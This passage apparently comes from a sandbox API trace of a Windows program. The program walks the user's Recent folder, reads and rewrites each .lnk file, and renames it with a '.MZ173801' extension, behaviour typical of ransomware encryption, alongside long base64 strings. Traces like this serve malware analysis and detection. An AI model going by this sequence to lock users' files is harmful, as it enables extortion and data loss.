NCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.414] GetCurrentThreadId () returned 0x9fc [0120.414] GetCurrentThreadId () returned 0x9fc [0120.414] GetCurrentThreadId () returned 0x9fc [0120.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.415] GetCurrentThreadId () returned 0x9fc [0120.415] GetCurrentThreadId () returned 0x9fc [0120.415] GetCurrentThreadId () returned 0x9fc [0120.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0q91R3 LR1h2M2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0q91r3 lr1h2m2.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.416] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.416] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.416] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x320 [0120.416] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.416] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x320, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x320, lpOverlapped=0x0) returned 1 [0120.417] CloseHandle (hObject=0x288) returned 1 [0120.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0q91R3 LR1h2M2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0q91r3 lr1h2m2.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.418] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x320, lpOverlapped=0x0) returned 1 [0120.419] CloseHandle (hObject=0x288) returned 1 [0120.425] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0q91R3 LR1h2M2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0q91r3 lr1h2m2.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0q91R3 LR1h2M2.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0q91r3 lr1h2m2.lnk.mz173801")) returned 1 [0120.426] GetCurrentThreadId () returned 0x9fc [0120.426] GetCurrentThreadId () returned 0x9fc [0120.426] GetCurrentThreadId () returned 0x9fc [0120.426] GetCurrentThreadId () returned 0x9fc [0120.426] GetCurrentThreadId () returned 0x9fc [0120.427] GetCurrentThreadId () returned 0x9fc [0120.427] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb9ec80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb9ec80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfb9ec80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="0s-6_jJxVlijEoSircL.mkv.lnk", cAlternateFileName="0S-6_J~1.LNK")) returned 1 [0120.427] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.427] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0s-6_jJxVlijEoSircL.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0s-6_jjxvlijeosircl.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb9ec80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb9ec80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfb9ec80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x4af)) returned 1 [0120.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.437] GetCurrentThreadId () returned 0x9fc [0120.437] GetCurrentThreadId () returned 0x9fc [0120.437] GetCurrentThreadId () returned 0x9fc [0120.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.438] GetCurrentThreadId () returned 0x9fc [0120.438] GetCurrentThreadId () returned 0x9fc [0120.438] GetCurrentThreadId () returned 0x9fc [0120.439] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0s-6_jJxVlijEoSircL.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0s-6_jjxvlijeosircl.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.439] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.439] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.439] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x4af [0120.439] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.439] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x4af, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x4af, lpOverlapped=0x0) returned 1 [0120.440] CloseHandle (hObject=0x288) returned 1 [0120.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0s-6_jJxVlijEoSircL.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0s-6_jjxvlijeosircl.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.442] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x4af, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x4af, lpOverlapped=0x0) returned 1 [0120.443] CloseHandle (hObject=0x288) returned 1 [0120.451] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0s-6_jJxVlijEoSircL.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0s-6_jjxvlijeosircl.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0s-6_jJxVlijEoSircL.mkv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0s-6_jjxvlijeosircl.mkv.lnk.mz173801")) returned 1 [0120.452] GetCurrentThreadId () returned 0x9fc [0120.452] GetCurrentThreadId () returned 0x9fc [0120.452] GetCurrentThreadId () returned 0x9fc [0120.452] GetCurrentThreadId () returned 0x9fc [0120.452] GetCurrentThreadId () returned 0x9fc [0120.452] GetCurrentThreadId () returned 0x9fc [0120.452] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7e6a20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf7e6a20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf80cb80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="0zoFemghGuWJ.lnk", cAlternateFileName="0ZOFEM~1.LNK")) returned 1 [0120.453] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.453] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.453] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0zoFemghGuWJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\0zofemghguwj.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7e6a20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf7e6a20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf80cb80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3fc)) returned 1 [0120.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFR